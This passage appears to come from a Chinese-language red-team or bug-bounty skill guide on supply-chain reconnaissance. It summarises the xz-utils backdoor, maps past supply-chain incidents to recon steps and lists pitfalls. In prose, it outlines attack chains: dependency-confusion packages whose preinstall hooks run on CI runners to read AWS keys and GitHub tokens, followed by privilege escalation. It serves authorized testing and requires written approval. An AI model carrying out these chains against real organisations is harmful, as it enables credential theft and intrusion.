- 攻击流程:“Jia Tan”(
JiaT75)在 2 年多时间里通过社会工程手段操纵了xz-utils(几乎所有 Linux 发行版都会使用的上游 OSS 压缩库)的维护者。获得共同维护者身份后,他们在liblzma构建流程中植入了多阶段后门,并将其混入测试夹具中进行混淆;该后门会利用 OpenSSH 的 systemd-notify 集成劫持 SSH 身份验证。 - **根本原因:**单人维护的 OSS 项目维护者倦怠,加上国家级耐心(Operation J/疑似 APT)。Andres Freund 在基准测试期间注意到 SSH 延迟了 500 毫秒,因此后门在主要发行版发布前就被发现了(只有 Fedora Rawhide 和 Debian unstable 曾短暂包含该后门)。
- **影响:**在大规模部署前被发现,险些酿成事故。促使整个行业重新评估“由单人维护的关键 OSS”所带来的风险。CISA、NIST、OpenSSF 均发布了事后分析。
- 参考资料:
- CISA 公告:https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
- Andres Freund 的原始披露:https://www.openwall.com/lists/oss-security/2024/03/29/4
- Russ Cox 的时间线:https://research.swtch.com/xz-timeline
- Sam James 的技术分析:https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
- **侦察启示:**这是外部侦察最难处理的情况——多年来通过社会工程手段操纵维护者,几乎不会留下外部迹象。不过,对 GitHub 提交历史的分析(关注关键库中获得提交权限的新贡献者、添加混淆测试夹具的提交、仅在发布时执行的构建变更),正是 Andres Freund 实际采取的做法。本技能的第 2 步(枚举公开仓库)可以扩展为“监控低历史记录账号获得高信任权限的情况”。
覆盖映射:案例 → recon 技能步骤
| 技能步骤 | 代表案例 |
|---|---|
| 步骤 1 — GitHub 组织发现 | Birsan 2021、XZ 2024 |
| 步骤 2 — 公开仓库工件挖掘 | Codecov 2021、XZ 2024、PHP 2021 |
| 步骤 3 — 内部包名发现 | Birsan 2021 |
| 步骤 4 — 依赖混淆检查 | Birsan 2021、ua-parser-js 2021 |
| 步骤 5 — 拼写劫持候选项 | PyPI colourama/jeIlyfish、event-stream 2018 |
| 步骤 6 — GitHub Actions 工作流注入 | tj-actions/changed-files 2025、Codecov 2021 |
| 步骤 7 — Docker/容器注册表挖掘 | Codecov 2021、3CX 2023 |
| 步骤 8 — SBOM / 工件元数据 | Log4Shell 2021、MOVEit 2023 |
| 步骤 9 — 内部注册表 URL 泄露 | Birsan 2021、SolarWinds 2020 |
| 步骤 10 — npm/PyPI 组织存在性检查 | ua-parser-js 2021、event-stream 2018 |
这 12 个案例的共同模式
- 代码签名并不能保护你——SolarWinds、3CX、ua-parser-js 都曾发布过带有合法签名的恶意代码。
- 固定到可变引用是反复出现的问题——
curl | bash(Codecov)、@v35操作标签(tj-actions)、^1.0.0semver(Birsan、event-stream)。 - 对 npm/PyPI 生态而言,维护者账户遭入侵的影响大于技术性 CVE——12 个案例中有 6 个属于此类。
- 供应链级联已成常态——3CX 源自 X_TRADER;Codecov → HashiCorp → HashiCorp 的下游用户。从概念上讲,应假定目标供应商的供应商也在范围内。
- CI 运行器是价值最高的立足点——所有攻击者代码在 CI 运行器上执行的案例,都导致云端、GitHub 或机密信息被大规模获取。
验证
- 依赖扫描——确认工具可用性:
which npm-audit 2>/dev/null || which npm 2>/dev/null && echo "PASS: npm available" || echo "NOTE: npm not installed" pip3 show pip-audit 2>/dev/null | grep -q "Name:" && echo "PASS: pip-audit installed" || echo "NOTE: pip-audit not installed"
所有测试都会验证供应链就绪情况。
注意事项
- 假定所有第三方依赖都在范围内——请检查漏洞赏金计划的范围。第三方服务(Zendesk、Intercom、statuspage)通常不在范围内。
- 依赖版本没有 CVE——仅知道库版本,但没有与之匹配的可利用 CVE,属于信息性发现。
- 没有证据就报告 npm/pip 包拼写劫持——证明存在被拼写劫持的包,并不能证明目标正在使用它。需要提供
package.json/requirements.txt证据。 - CI/CD 供应链与运行时供应链——投毒构建时依赖和运行时依赖的影响不同。请加以区分。
- 将供应商邮箱遭入侵视为供应链攻击——入侵供应商邮箱以发送恶意更新,与代码依赖攻击不同。两者都属于供应链攻击,但 TTP 不同。
相关技能与链路
hunt-rce— 依赖混淆会在安装该包的任何运行器上造成 RCE;CI 运行器是价值最高的目标。链路原语:内部包名泄露在公开的 JS 包、SBOM 或 Docker 镜像中 → 在公共 npm/PyPI 上以相同名称发布更高版本的恶意包 → CI 运行器上的下一次npm install/pip install在preinstall钩子中执行攻击者代码 → 使用hunt-rce进行立足后的操作(提取环境变量可获取 AWS 密钥、GitHub PAT 和 Slack 令牌)→ 接管 CI 平面。cloud-iam-deep— CI 运行器持有 IAM 凭据;在此处实施供应链 RCE 能大量窃取凭据。链路原语:恶意包在 GitHub Actions 运行器上执行 → 从环境变量中读取$AWS_ACCESS_KEY_ID/$GITHUB_TOKEN→ 使用cloud-iam-deep进行枚举 → IAM 权限提升链路 → 访问生产环境云平面。offensive-osint— 侦察方法有大量重叠;SBOM、JS 包、GitHub 组织枚举和 Docker 注册表标签都涉及两者。链路原语:通过offensive-osint进行 GitHub 组织侦察,找到 CI 工作流中引用的内部包名 → 使用supply-chain-attack-recon将这些包名与公共 npm/PyPI 交叉比对,查找拼写仿冒/混淆候选项。hunt-cloud-misconfig— 容器注册表(Docker Hub、GHCR、ECR public)经常意外暴露私有镜像。链路原语:SBOM 挖掘发现引用了internal-tools-v2:latest→ 检查 Docker Hub 上是否有意外公开的镜像副本 → 使用hunt-cloud-misconfig枚举注册表 → 拉取镜像 → 提取镜像层中嵌入的机密。triage-validation+redteam-report-template— 供应链侦察在范围内;实际发布属于外部攻击活动,需要明确的书面批准。链路原语:整理出仅用于侦察的候选项列表 → 使用triage-validation的 7 项问题关卡进行审核(尤其是:“我能否在不发布的情况下证明影响?”)→ 通过redteam-report-template将其作为“依赖混淆候选项清单 + 复现步骤”报告,除非客户已书面批准,否则绝不提交已发布包的概念验证。
评论
支持 Markdown